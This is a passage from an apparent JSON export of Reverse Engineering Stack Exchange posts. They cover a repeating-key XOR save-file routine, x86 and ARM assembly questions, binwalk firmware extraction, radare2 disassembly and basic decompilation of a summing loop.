        "Body": "<p>I am trying to modify a save file for a game.  I think it is using an XOR cipher to encrypt it.  Looking though the disassembly I think I found the function that decrypts it.  I ran the assembly through a decompiler to get a better grip on what is going on.</p>\n\n<p>I am a C# programmer with some knowledge of C/C++.  I generally understand what is accomplished by this code, but there are some details I don't understand.</p>\n\n<pre><code>int __fastcall DecryptBuffer(unsigned __int8 *a1, int a2, int a3, unsigned int a4, int a5)\n{\n  unsigned __int8 *v5;\n  unsigned __int8 *v6;\n  int result;\n  int v8;\n\n  v5 = a1;\n  v6 = &amp;a1[a2];\n  result = a5;\n  v8 = a5 - (_DWORD)v5;\n  while ( v5 != v6 )\n  {\n    result = *v5 ^ *(unsigned __int8 *)(a3 + (unsigned int)&amp;v5[v8] % a4);\n    *v5++ = result;\n  }\n  return result;\n}\n</code></pre>\n\n<p>It accepts as parameters:</p>\n\n<ul>\n<li><code>a1</code> - a byte array</li>\n<li><code>a2</code> - the length of the array</li>\n<li><code>a3</code> - <code>0xB19D425B</code></li>\n<li><code>a4</code> - <code>0x107</code></li>\n<li><code>a5</code> - <code>0x00</code></li>\n</ul>\n\n<p>First, I can't figure out the value of <code>v8</code>.  I don't know what <code>(_DWORD)v5</code> means, or why it is subtracted from zero.</p>\n\n<p>Second, I don't know what <code>(unsigned int)&amp;v5[v8]</code> is actually doing.  I take it to mean it is looking up a byte somewhere in the array, but is it retrieving a single byte and casting to an uint, or four bytes?</p>\n\n<p>Here is the disassembly:</p>\n\n<pre><code>sub_301E44\nPUSH.W          {R4-R8,LR}\nMOV             R4, R0\nADDS            R6, R0, R1\nLDR             R0, [SP,#0x18+arg_0]\nMOV             R7, R2\nMOV             R8, R3\nSUBS            R5, R0, R4\nloc_301E54\nCMP             R4, R6\nBEQ             locret_301E6C\nADDS            R0, R5, R4\nMOV             R1, R8\nBL.W            __aeabi_uidivmod\nLDRB            R0, [R4]\nLDRB            R3, [R7,R1]\nEORS            R0, R3\nSTRB.W          R0, [R4],#1\nB               loc_301E54\nlocret_301E6C\nPOP.W           {R4-R8,PC}\n</code></pre>\n\n<p>This is the function that calls the above:</p>\n\n<pre><code>PUSH            {R0-R2,LR}\nMOVS            R3, #0\nLDR             R2, =(dword_8749EF - 0x301E80)\nSTR             R3, [SP,#0x10+var_10]\nMOVW            R3, #0x107\nADD             R2, PC  ; dword_8749EF\nBL              sub_301E44\nADD             SP, SP, #0xC\n</code></pre>\n",
        "Title": "Need help understanding XOR cipher",
        "Tags": "|c++|arm|",
        "Answer": "<p><code>(_DWORD)v5</code> is simply casting the <code>__int8*</code> pointer to <code>_DWORD</code>. Decompilations tend to be quite messy if you don't fix variable types, so let's ignore types for a moment. </p>\n\n<p>To understand the value of v8, substitute it into the expression bellow: \n<code>&amp;v5[a5 - v5_old]</code>. We can also understand this as <code>v5 + a5 - v5_old</code>. <code>v5</code> is being incremented with each iteration of the loop, so the above expression is basically the current index plus <code>a5</code>. </p>\n\n<p>The current index plus <code>a5</code> modulo <code>a4</code> (presumably the length of the buffer pointed to by <code>a3</code>) is then added to <code>a3</code> and the corresponding byte is XOR'd to the byte currently pointed to by <code>v5</code>. </p>\n\n<p>Here's my take on the algorithm:</p>\n\n<pre><code>void DecryptBuffer ( char *buffer, int buffer_len, char *key, int key_len, int key_start )\n{ \n    int i;\n    for ( i = 0; i &lt; buffer_len; i++ )\n        buffer [ i ] ^= key [ ( key_start + i ) % key_len ];\n}\n</code></pre>\n\n<p>Or in other words, XOR with the key repeating over and over. </p>\n\n<p>This is quite standard, so it's probably right, but it could be wrong\u2014as I said, the decompilation is quite messy. If you want a sure answer, either clean it up by fixing variable types or post the disassembly as well. </p>\n"
    },
    {
        "Id": "19525",
        "CreationDate": "2018-10-03T20:00:42.437",
        "Body": "<p>I have this Asm from a book that suppose to do a Boolean cast: <code>rax := rax ? 1 : 0</code></p>\n\n<pre><code>1. neg      rax\n2. sbb      rax,rax\n3. neg      rax\n</code></pre>\n\n<p>But as i understand this code and the instructions (below), this would work\nonly if the register will have 0 in it.</p>\n\n<p>because lets assume that (register have some positive number in it):</p>\n\n<pre><code>rax = 9    ;initial register\nrax = -9   ;after line 1\nrax = -17  ;after line 2\nrax = 17   ;after line 3\n</code></pre>\n\n<p>register have 0 in it:</p>\n\n<pre><code>rax = 0    ;initial register\nrax = 0    ;after line 1\nrax = 0    ;after line 2\nrax = 0    ;after line 3\n</code></pre>\n\n<p>I think that the author meant to do <code>add</code> in line 2 instead of <code>sbb</code> am i correct?</p>\n\n<blockquote>\n  <p>Instruction explanations: \n  neg instruction:</p>\n\n<pre><code>neg Destination      ;Destination = -Destination      \nif(Destination == 0)\n  CF = 0;\nelse \n  CF = 1;\n</code></pre>\n  \n  <p>sbb instruction:</p>\n\n<pre><code>sbb Destination, Source      ;Destination = Destination - (Source + CF);\n</code></pre>\n</blockquote>\n",
        "Title": "Explanation of SBB instruction",
        "Tags": "|assembly|",
        "Answer": "<p>SBB: </p>\n\n<blockquote>\n  <p>Destination = Destination - (Source + CF);</p>\n</blockquote>\n\n<pre><code>-9 - ( -9 + 1 ) = -9 - ( -8 ) = -9 + 8 = -1, not -17\n</code></pre>\n"
    },
    {
        "Id": "19529",
        "CreationDate": "2018-10-03T21:35:07.963",
        "Body": "<p>I'm trying to use binwalk to extract the firmware for the Ubiquiti Networks ER-X. Currently I've downloaded a copy of the firmware and uncompressed it. I opened the folder with the filesystem contents and found <code>compat squashfs.tmp squashfs.tmp.md5 version.tmp vmlinux.tmp vmlinux.tmp.md5</code>. I checked to see which file was the biggest and found <code>squashfs.tmp</code> to be the biggest at about 78MB in size. I ran binwalk with the -e flag but that didn't extract the filesystem. Link to the <a href=\"https://www.ubnt.com/download/edgemax/edgerouter-x/default/edgerouter-er-xer-x-sfpep-r6-firmware-v1107\" rel=\"nofollow noreferrer\">firmware</a>.   </p>\n",
        "Title": "Extracting SquashFS based filesystem",
        "Tags": "|mips|binwalk|",
        "Answer": "<p>I was able to extract the file system just fine. I used Binwalk v2.1.2b and have <code>sasquatch</code> installed.</p>\n\n<p>Extracted file system:</p>\n\n<pre><code>_squashfs.tmp.extracted/squashfs-root $ ls\nbin  boot  config  dev  etc  home  lib  media  mnt  opt  proc  root  root.dev  run  sbin  selinux  srv  sys  tmp  usr  var\n</code></pre>\n\n<p>It is indeed for a MIPS device:</p>\n\n<pre><code>$ file bin/bash\nbin/bash: ELF 32-bit LSB  executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=1b20797b11fa0a481a334f911ac5dfa27ce20c75, stripped\n</code></pre>\n\n<p>Make sure all of your tools are up to date and you have the necessary plugins installed. From the <a href=\"https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md\" rel=\"nofollow noreferrer\">installation page</a>:</p>\n\n<blockquote>\n  <p>Binwalk relies on multiple external utilties in order to automatically\n  extract/decompress files and data:</p>\n\n<pre><code># Install standard extraction utilities\n$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools sleuthkit default-jdk lzop srecord\n\n# Install sasquatch to extract non-standard SquashFS images\n$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev\n$ git clone https://github.com/devttys0/sasquatch\n$ (cd sasquatch &amp;&amp; ./build.sh)\n\n# Install jefferson to extract JFFS2 file systems\n$ sudo pip install cstruct\n$ git clone https://github.com/sviehb/jefferson\n$ (cd jefferson &amp;&amp; sudo python setup.py install)\n</code></pre>\n</blockquote>\n"
    },
    {
        "Id": "19543",
        "CreationDate": "2018-10-04T16:41:19.260",
        "Body": "<p>I want to decompile it to C, or at least assembly the CC2650 hex file (Bluetooth Low Energy Sensor Tag), that provide TI.</p>\n\n<p>My goal is to know the specific way used by CC2650 to generate the LTK.</p>\n\n<p>I'll appreciatte the answers.</p>\n",
        "Title": "How can I decompile the CC2650 .hex file to C?",
        "Tags": "|disassembly|assembly|c|bluetooth|",
        "Answer": "<p>First, convert the file from Hex to a raw binary using <a href=\"http://www.keil.com/support/docs/275.htm\" rel=\"nofollow noreferrer\"><code>srec_cat</code></a> or <a href=\"https://stackoverflow.com/questions/26961795/converting-from-hex-to-bin-for-arm-on-linux\"><code>objcopy</code></a></p>\n\n<p>Then take a look at an entropy plot, a hex dump, and the output of <code>strings</code> to check the state of the converted file. Here is a snippet of a hex dump of the converted file:</p>\n\n<pre><code>$ hexdump -C -n 256 sensor.bin \n00000000  00 37 00 20 c9 0b 00 00  d9 0b 00 00 db 0b 00 00  |.7. ............|\n00000010  dd 0b 00 00 dd 0b 00 00  dd 0b 00 00 00 00 00 00  |................|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 dd 0b 00 00  |................|\n00000030  dd 0b 00 00 00 00 00 00  dd 0b 00 00 dd 0b 00 00  |................|\n00000040  dd 0b 00 00 dd 0b 00 00  dd 0b 00 00 dd 0b 00 00  |................|\n*\n000000c0  dd 0b 00 00 dd 0b 00 00  df f8 e8 13 09 68 c1 f3  |.............h..|\n000000d0  04 61 16 29 a8 bf 20 39  01 eb 20 71 49 1c 16 29  |.a.).. 9.. qI..)|\n000000e0  a8 bf 15 21 04 da 6f f0  09 02 91 42 b8 bf 11 46  |...!..o....B...F|\n000000f0  01 f0 1f 01 df f8 c0 23  41 f4 f8 51 11 80 df f8  |.......#A..Q....|\n00000100\n</code></pre>\n\n<p>Next, check to see if you can find the entry point and attempt to begin disassembly there for the given architecture. Beginning disassembly at offset <code>0xC0</code> seems like a good guess. I used <code>r2</code> to perform the disassembly (note that \"sensor.bin\" is the name I gave to the binary converted from the CC2650 Hex file):</p>\n\n<pre><code>$ r2 -a arm -b 16 sensor.bin       &lt;-------  for ARM Thumb instruction set arch\n -- SHALL WE PLAY A GAME?\n[0x00000000]&gt; s 0xc0               &lt;-------- seek to offset 0xC0\n[0x000000c0]&gt; pd                   &lt;-------- print disassembly \n            0x000000c0      dd0b           lsrs r5, r3, 0xf\n            0x000000c2      0000           movs r0, r0\n            0x000000c4      dd0b           lsrs r5, r3, 0xf\n            0x000000c6      0000           movs r0, r0\n            0x000000c8      dff8e813       ldr.w r1, [0x000004b8]      ; [0x4b8:4]=0x4008626e\n            0x000000cc      0968           ldr r1, [r1]\n            0x000000ce      c1f30461       ubfx r1, r1, 0x18, 5\n            0x000000d2      1629           cmp r1, 0x16\n        ,=&lt; 0x000000d4      a8bf           it ge\n        `-&gt; 0x000000d6      2039           subs r1, 0x20\n            0x000000d8      01eb2071       add.w r1, r1, r0, asr 28\n            0x000000dc      491c           adds r1, r1, 1\n            0x000000de      1629           cmp r1, 0x16\n        ,=&lt; 0x000000e0      a8bf           it ge\n        `-&gt; 0x000000e2      1521           movs r1, 0x15\n        ,=&lt; 0x000000e4      04da           bge 0xf0\n        |   0x000000e6      6ff00902       mvn r2, 9\n        |   0x000000ea      9142           cmp r1, r2\n       ,==&lt; 0x000000ec      b8bf           it lt\n       `--&gt; 0x000000ee      1146           mov r1, r2\n        `-&gt; 0x000000f0      01f01f01       and r1, r1, 0x1f\n            0x000000f4      dff8c023       ldr.w r2, [0x000004bc]      ; [0x4bc:4]=0x40090000\n            0x000000f8      41f4f851       orr r1, r1, 0x1f00\n            0x000000fc      1180           strh r1, [r2]\n            0x000000fe      dff8bc13       ldr.w r1, [0x000004c2]      ; [0x4c0:4]=0x432a0494\n            0x00000102      0968           ldr r1, [r1]\n            0x00000104      8907           lsls r1, r1, 0x1e\n        ,=&lt; 0x00000106      4fbf           iteee mi\n        `-&gt; 0x00000108      40f04060       orr r0, r0, 0xc000000\n            0x0000010c      0021           movs r1, 0\n            0x0000010e      dff8b023       ldr.w r2, [0x000004c6]      ; [0x4c4:4]=0x43200000\n            0x00000112      1160           str r1, [r2]\n            0x00000114      dff8ac13       ldr.w r1, [0x000004c8]      ; [0x4c8:4]=0x400ca000\n            0x00000118      c0f3c062       ubfx r2, r0, 0x1b, 1\n            0x0000011c      82f00102       eor r2, r2, 1\n            0x00000120      c0f38060       ubfx r0, r0, 0x1a, 1\n            0x00000124      0a60           str r2, [r1]\n            0x00000126      80f00100       eor r0, r0, 1\n            0x0000012a      8860           str r0, [r1, 8]\n            0x0000012c      7047           bx lr\n            0x0000012e      70b5           push {r4, r5, r6, lr}\n            0x00000130      0546           mov r5, r0\n            0x00000132      82b0           sub sp, 8\n            0x00000134      0846           mov r0, r1\n            0x00000136      00f0eef8       bl 0x316\n            0x0000013a      0246           mov r2, r0\n            0x0000013c      dff88843       ldr.w r4, [0x000004cc]      ; [0x4cc:4]=0x50001370\n            0x00000140      1821           movs r1, 0x18\n            0x00000142      00f060f8       bl 0x206\n            0x00000146      00f012f9       bl 0x36e\n            0x0000014a      80b2           uxth r0, r0\n            0x0000014c      0090           str r0, [sp]\n            0x0000014e      0023           movs r3, 0\n            0x00000150      40f2ff32       movw r2, 0x3ff\n            0x00000154      2c21           movs r1, 0x2c               ; ','\n            0x00000156      2046           mov r0, r4\n            0x00000158      00f031fa       bl 0x5be\n            0x0000015c      dff86c63       ldr.w r6, [0x000004d0]      ; [0x4d0:4]=0xfcffff\n            0x00000160      f068           ldr r0, [r6, 0xc]\n            0x00000162      c0f30d02       ubfx r2, r0, 0, 0xe\n            0x00000166      1c21           movs r1, 0x1c\n            0x00000168      00f04df8       bl 0x206\n            0x0000016c      7068           ldr r0, [r6, 4]\n            0x0000016e      00f0fc32       and r2, r0, 0xfcfcfcfc\n.\n.\n&lt;snip&gt;\n</code></pre>\n\n<p>The disassembly seems OK. I am not familiar with ARM assembly variants, however. The absence of invalid disassembly is a good sign.</p>\n\n<p>That should be enough information to get you started with your decompiler of choice. </p>\n"
    },
    {
        "Id": "19554",
        "CreationDate": "2018-10-06T00:49:04.760",
        "Body": "<p>I have been struggling with this for a long time. I have the following assembly language code:</p>\n\n<pre><code>.intel_syntax noprefix\n.bits 32\n\n.global asm0\n\nasm0:\n    push    ebp\n    mov ebp,esp\n    mov eax,DWORD PTR [ebp+0x8]\n    mov ebx,DWORD PTR [ebp+0xc]\n    mov eax,ebx\n    mov esp,ebp\n    pop ebp \n    ret\n</code></pre>\n\n<p>and <strong>I want to figure out what asm(0xb6, 0xc6) returns</strong>. I've been looking for ASM->C decompilers etc, and I cannot find anything for free. Could someone please help me decipher this? I've been trying for a really long time. I am familiar with C++ and Java programming, so even some sort of tool to convert it would be helpful.</p>\n\n<p>I'm currently reading from this: <a href=\"http://www.godevtool.com/GoasmHelp/newass.htm\" rel=\"nofollow noreferrer\">http://www.godevtool.com/GoasmHelp/newass.htm</a></p>\n",
        "Title": "What does this assembly language program output?",
        "Tags": "|assembly|decompilation|c|",
        "Answer": "<p>This is such a small program so this could be followed without converting it back to C. Let's break it down what happens when it's being called with <code>asm(0xb6, 0xc6)</code>.</p>\n\n<pre><code>push    ebp\nmov     ebp, esp\n</code></pre>\n\n<p>Those two lines are what's is called the function prologue. We first save the calling function stack frame (<code>ebp</code> is tracking that) and in the second one, we set our function stack frame to be equal to the current stack location.</p>\n\n<pre><code>mov eax, DWORD PTR [ebp+0x8]\nmov ebx, DWORD PTR [ebp+0xc]\n</code></pre>\n\n<p>The above lines are loading our passed arguments to <code>eax</code> and <code>ebx</code>. Since in <code>cdecl</code> arguments are passed via stack in reverse order, so after those lines in <code>eax</code> we will have <code>0xb6</code> and <code>ebx</code> will be equal to <code>0xc6</code>.</p>\n\n<pre><code>mov eax, ebx\n</code></pre>\n\n<p>The value from <code>ebx</code> is stored in <code>eax</code>, thus we drop the need of the first line from the previous fragment. Also since this is the last use of <code>eax</code> in this code it can be interpreted as a return value as this is also a convention in <code>cdecl</code>. So the return value, in this case, would be <code>0xc6</code>.</p>\n\n<pre><code>mov esp,ebp\npop ebp\n</code></pre>\n\n<p>This is just bringing back the stack as it was when we enter the function - also called function epilogue.</p>\n\n<pre><code>ret\n</code></pre>\n\n<p>And return back to the caller.</p>\n\n<p>Having analyzed that it's just obvious that this function returns the second argument that's being passed to it.</p>\n\n<pre><code>int second(int a, int b)\n{\n    return b;\n}\n</code></pre>\n\n<p>You could compile this code to a library and use it from C code:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nextern unsigned int _test (unsigned int, unsigned int);\n\nint main(void)\n{\n    printf(\"%x\\n\", _test(0xb6, 0xc6));\n    return 0;\n}\n</code></pre>\n\n<p>and compile it with <code>gcc -m32 -o run asm.o call.o</code>. </p>\n\n<blockquote>\n  <p>./run <br />\n  c6</p>\n</blockquote>\n\n<p>You could verify that it's the case without running it by for example using <a href=\"https://godbolt.org/z/5gAK5m\" rel=\"noreferrer\">godbolt</a> but since the code that assigns the first value to <code>eax</code> and then replaces it with the second is actually not needed - it could just use the second argument from the beginning - it won't be generated even w/o any optimizations. </p>\n"
    },
    {
        "Id": "19560",
        "CreationDate": "2018-10-06T15:15:51.300",
        "Body": "<p>I have a raw assembly dump i.e.</p>\n\n<pre><code>.intel_syntax noprefix\n.bits 32\n.global main    \n\nmain:\n    push   ebp\n...\n</code></pre>\n\n<p>And I know it's Intel x86 and the original function was most likely written in C. Now the question is whether I could use IDA to reverse this and get the original function?</p>\n",
        "Title": "Analyze raw assembly using IDA Pro",
        "Tags": "|ida|assembly|",
        "Answer": "<p>IDA does not accept assembly input, so you need to convert it to some binary format first. This is generally done with an <em>assembler</em>, such as GNU Assembler or <code>gas</code> (part of GNU Binutils and usually installed with <code>gcc</code>), or different alternative assemblers such as <code>nasm</code>, <code>yasm</code>, <code>fasm</code> and so on. If you need help assembling a specific file, you can ask on <a href=\"https://stackoverflow.com/\">Stack Overflow</a>, providing as much info as possible.</p>\n"
    },
    {
        "Id": "19568",
        "CreationDate": "2018-10-07T23:21:55.413",
        "Body": "<p>How can you set up Radare2 webui in Kali or Ubuntu or any other OS?  I've tried so many different methods but none of them have worked so far.  I think both of them are debian based so that might be the reason it isn't working.  any suggestions on a distro which it would work?</p>\n",
        "Title": "Radare2 webui - need help setting it up",
        "Tags": "|linux|radare2|websites|",
        "Answer": "<p><code>radare2 -c='H' &lt;binary&gt;</code> can run radare2 with web interface.<br>\nI guess you are using <code>apt-get</code> package manager for installing radare2, r2 <code>deb</code> package has a bit problem (Web interface files aren't available in deb version), It's better to <a href=\"https://rada.re/r/down.html\" rel=\"nofollow noreferrer\">install the latest version of radare2 from git</a>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/eAf9P.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eAf9P.png\" alt=\"Radare 2 Web interface\"></a></p>\n"
    },
    {
        "Id": "19571",
        "CreationDate": "2018-10-08T15:20:29.480",
        "Body": "<p>So before we come to the main function, it looks we are in a function with a name __libc_start_main</p>\n\n<p>and before we come to our main function we obviously push EBP value in the stack ( the value of EBP before main function, in the __libc_start_main function)</p>\n\n<p>so first off is this value important? after the execution of main function, will the __libc_start_main function need this value?</p>\n\n<p>is there any function that gets called before __libc_start_main therefore making this EBP value important? </p>\n\n<p>i tested it and even if i overwrite this value(in the stack) with overflowing, the program finishes with no problem but i don't get how and why? shouldn't it result in error or page fault? </p>\n",
        "Title": "Is the value of EBP before the main function important?",
        "Tags": "|x86|memory|buffer-overflow|stack|register|",
        "Answer": "<p><code>__libc_start_main</code> is called by the <em>entry point code</em> (usually in a file called <code>crt0.S</code> or similar) and <em>that</em> code usually sets up the initial <code>EBP</code> value (usually to 0, to denote end of the call stack for the debuggers). Here's a sample entry point code from a random ELF binary:</p>\n\n<pre><code>_start:\n     xor     ebp, ebp\n     pop     esi\n     mov     ecx, esp\n     and     esp, 0FFFFFFF0h\n     push    eax\n     push    esp             ; stack_end\n     push    edx             ; rtld_fini\n     push    offset __libc_csu_fini ; fini\n     push    offset __libc_csu_init ; init\n     push    ecx             ; ubp_av\n     push    esi             ; argc\n     push    offset main     ; main\n     call    ___libc_start_main\n     hlt\n</code></pre>\n\n<p>While <code>__libc_start_main</code> itself <em>could</em> initialize <code>EBP</code> to 0, this would make it appear as if it's the first code in the binary when looking at the call stack, which is not correct (the execution begins at <code>_start</code>, the entry point).</p>\n\n<p>Besides, <code>__libc_start_main</code>  can be (and often is) written in C instead of assembly, and it's easier for the compiler to generate the standard prolog code for it instead of making some kind of special case exception.</p>\n\n<p>As for overwriting the value, you don't get a crash because:</p>\n\n<ol>\n<li><code>ebp</code> is not actually used by the caller of <code>___libc_start_main</code> (the entry point code)</li>\n<li><code>___libc_start_main</code> does not actually return, since it calls <code>exit()</code> with the return value of <code>main()</code> to directly exit to the OS, so your corrupted <code>ebp</code> does not matter</li>\n</ol>\n\n<p>In the unlikely event that <code>___libc_start_main</code> does return (e.g. due to a bug in libc), the entry point code will execute the <code>hlt</code> instruction which is privileged so the process will be killed by the OS.</p>\n"
    },
    {
        "Id": "19573",
        "CreationDate": "2018-10-08T18:11:33.187",
        "Body": "<p>the code is:</p>\n\n<pre><code>.global asm0\nasm0:\n    push    ebp\n    mov ebp,esp\n    mov eax,DWORD PTR [ebp+0x8]\n    mov ebx,DWORD PTR [ebp+0xc]\n    mov eax,ebx\n    mov esp,ebp\n    pop ebp\n</code></pre>\n\n<p>The entry is: asm0(0x2a,0x4f)</p>\n\n<p>The output is: 0x4f2a</p>\n\n<p>Why is the input parameters reversed?</p>\n",
        "Title": "Inversion of input parameters in ASM",
        "Tags": "|nasm|assembly|",
        "Answer": "<p><strong>Calling Conventions</strong>:</p>\n\n<p>You may be referring to calling conventions and order of parameters being pushed. If so, <strong><a href=\"https://stackoverflow.com/questions/31100614/why-is-order-of-function-arguments-reversed#answers\">here is an answer</a></strong> addressing as such. You can read more about calling conventions in general <strong><a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"nofollow noreferrer\">here</a></strong>.</p>\n\n<p><strong>Endianness</strong>:</p>\n\n<p>You may also be interested in reading about endianness from the NASM documentation:</p>\n\n<blockquote>\n  <p><strong>3.4.3 Character Constants</strong></p>\n  \n  <p>A character constant consists of a string up to eight bytes long, used\n  in an expression context. It is treated as if it was an integer.</p>\n  \n  <p>A character constant with more than one byte will be arranged with\n  little-endian order in mind: if you code</p>\n\n<pre><code>mov eax,'abcd'\n</code></pre>\n  \n  <p>then the constant generated is not 0x61626364, but 0x64636261, so that if you were then to store the value into memory,\n  it would read abcd rather than dcba. This is also the sense of\n  character constants understood by the Pentium's CPUID instruction.</p>\n</blockquote>\n\n<p><strong>Source:</strong> <a href=\"https://www.nasm.us/doc/nasmdoc3.html\" rel=\"nofollow noreferrer\">https://www.nasm.us/doc/nasmdoc3.html</a></p>\n\n<p>More research on your behalf to better understand this can be done by reading about the topic of <strong><a href=\"https://en.wikipedia.org/wiki/Endianness\" rel=\"nofollow noreferrer\">endianness</a></strong>. It's confusing when you first run into it, but there are many charts like this one to help demonstrate it:</p>\n\n<p><a href=\"https://i.stack.imgur.com/B3WJE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/B3WJE.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Image source</strong>: <a href=\"https://agilescientific.com/blog/2017/3/31/little-endian-is-legal\" rel=\"nofollow noreferrer\">https://agilescientific.com/blog/2017/3/31/little-endian-is-legal</a></p>\n\n<p>Finally, there's an excellent video from OpenSecurityTraining that does a great job of explaining endianness and order of parameters/arguments with calling conventions. <a href=\"https://youtu.be/H4Z0S9ZbC0g?t=1015\" rel=\"nofollow noreferrer\">Click here to view it</a>.</p>\n"
    },
    {
        "Id": "19576",
        "CreationDate": "2018-10-08T19:21:49.670",
        "Body": "<p>So has there been any success in using deep learning for doing reverse engineering?</p>\n\n<p>i couldn't find anything useful other than some theoretical papers, so was there any talk about this in recent security conferences, or actual success of doing so?</p>\n",
        "Title": "Has there been any success in using deep learning for reverse engineering?",
        "Tags": "|memory|patch-reversing|software-security|",
        "Answer": "<p>I don't know about deep learning, but if you are looking for general results on using machine learning for reverse engineering, there was a paper called \"Evolving Exact Decompilation\" published at the Workshop on Binary Analysis Research 2018, where the researchers claimed to have learned/evolved the ability to decompile a C program. See <a href=\"https://www.cs.unm.edu/~eschulte/data/bed.pdf\" rel=\"nofollow noreferrer\">the paper here</a>. </p>\n"
    },
    {
        "Id": "19579",
        "CreationDate": "2018-10-08T22:18:29.763",
        "Body": "<p>I have the following assembly code:</p>\n\n<pre><code>0000000000400711 &lt;foo&gt;:\n  400711:   55                      push   rbp\n  400712:   48 89 e5                mov    rbp,rsp\n  400715:   48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi\n  400719:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0\n  400720:   00\n  400721:   eb 10                   jmp    400733 &lt;foo+0x22&gt;\n  400723:   48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]\n  400727:   48 8d 50 ff             lea    rdx,[rax-0x1]\n  40072b:   48 89 55 e8             mov    QWORD PTR [rbp-0x18],rdx\n  40072f:   48 01 45 f8             add    QWORD PTR [rbp-0x8],rax\n  400733:   48 83 7d e8 00          cmp    QWORD PTR [rbp-0x18],0x0\n  400738:   75 e9                   jne    400723 &lt;foo+0x12&gt;\n  40073a:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]\n  40073e:   5d                      pop    rbp\n  40073f:   c3                      ret\n</code></pre>\n\n<p>I've been trying for several hours to figure out what this code does. From just trial and error with a C code to Assembly Code converter, I'm pretty sure the QWORD part comes from a char array, and the lines above it (push rbp, mov rbp, rsp) is just like a preamble. I'm really not sure how to interpret the lines that come after this. I tried storing the above code in as a file called \"file.S\" and then I used the following C code and terminal command to try and figure out what it does:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint foo(int, int);\n\nint main()\n{\n   // printf() displays the string inside quotation\n   printf(\"%d\", foo(2,2));\n   return 0;\n}\n</code></pre>\n\n<p>The terminal command I used was </p>\n\n<pre><code>gcc -g -Og -no-pie -fno-pie -m32 main.c file.S\n</code></pre>\n\n<p>but I just get a whole bunch of errors.</p>\n\n<p>I have tried for many hours, but I'm not making any progress with deciphering this code. Any help is much appreciated. In addition, is there a fast way (e.g. a decompiler) that can do this for me in the future? I couldn't find any of those either.</p>\n",
        "Title": "Figuring out what a segment of assembly code does",
        "Tags": "|disassembly|assembly|decompilation|",
        "Answer": "<p>First of all, this is 64bit assembly because of the registers (<code>rax</code>,..) and the memory address in the first line. So with the option <code>-m32</code> that compiles to 32bit executables, you will get some problems. </p>\n\n<p>You're right about the first part, <code>push rbp</code> and <code>mov rbp,rsp</code> is the function preamble. </p>\n\n<pre><code>mov    QWORD PTR [rbp-0x18],rdi\nmov    QWORD PTR [rbp-0x8],0x0\n</code></pre>\n\n<p><del>These two QWORDS are not arguments but local variables. You can recognize this, because of the negative offset (variables are above the base pointer and the stack is growing towards lower addresses).</del> x64 assembler gives the first arguments in registers, so the first line is a function argument. The second one is a local variable. Since they are QWORDS, the datatype has a length of 8 byte. The first instruction assigns the value of <code>rdi</code> to a local variable (say <code>var_18</code>) and the second assigns 0 to another local variable (say <code>var_8</code>). </p>\n\n<pre><code>jmp    400733 &lt;foo+0x22&gt;\n</code></pre>\n\n<p>This is an unconditional jump to the location <code>400733</code> meaning you will always jump there. So we need to continue at this location. </p>\n\n<pre><code>cmp    QWORD PTR [rbp-0x18],0x0\njne    400723 &lt;foo+0x12&gt;\n</code></pre>\n\n<p>At <code>400733</code> we see a compare instruction, followed by a conditional jump. The compare checks if the local variable <code>var_18</code> is 0, if so the value of <code>var_8</code> is returned (writing the value it to <code>rax</code> and return). Otherwise if not 0, we jump to <code>400723</code>. </p>\n\n<pre><code>mov    rax,QWORD PTR [rbp-0x18]\nlea    rdx,[rax-0x1]\nmov    QWORD PTR [rbp-0x18],rdx\nadd    QWORD PTR [rbp-0x8],rax\n</code></pre>\n\n<p>Continuing at <code>400723</code> the first three instructions decrease the value of <code>var_18</code> by 1. But the initial value before the subtraction is added to <code>var_8</code>. This seems a little confusing, but if you are familiar with C/C++, an instruction like <code>var--</code> comes in mind, where you use the value of the variable <em>before</em> it is subtracted.</p>\n\n<p>And then we are at the comparison to 0 again. So going over all these lines, it is obvious that this is a loop where the argument is a number which then acts as a counter, from which is counted down to zero. The second local variable <code>var_8</code> is simply the sum of the different counter values. For example if <code>var_18</code> has 5 then the result would be 5+4+3+2+1=15. </p>\n\n<p>The corresponding C code would be similar to this.</p>\n\n<pre><code>long foo(long nr) {\n    long var_8 = 0;\n\n    while(nr != 0) {\n        var_8 += nr--;\n    } \n    return var_8;\n}\n</code></pre>\n\n<hr>\n\n<blockquote>\n  <p>In addition, is there a fast way (e.g. a decompiler) that can do this for me in the future? I couldn't find any of those either.</p>\n</blockquote>\n\n<p>Yes, Hex-Rays Decompiler would do the job. </p>\n"
    },
    {
        "Id": "19583",
        "CreationDate": "2018-10-09T15:15:21.393",
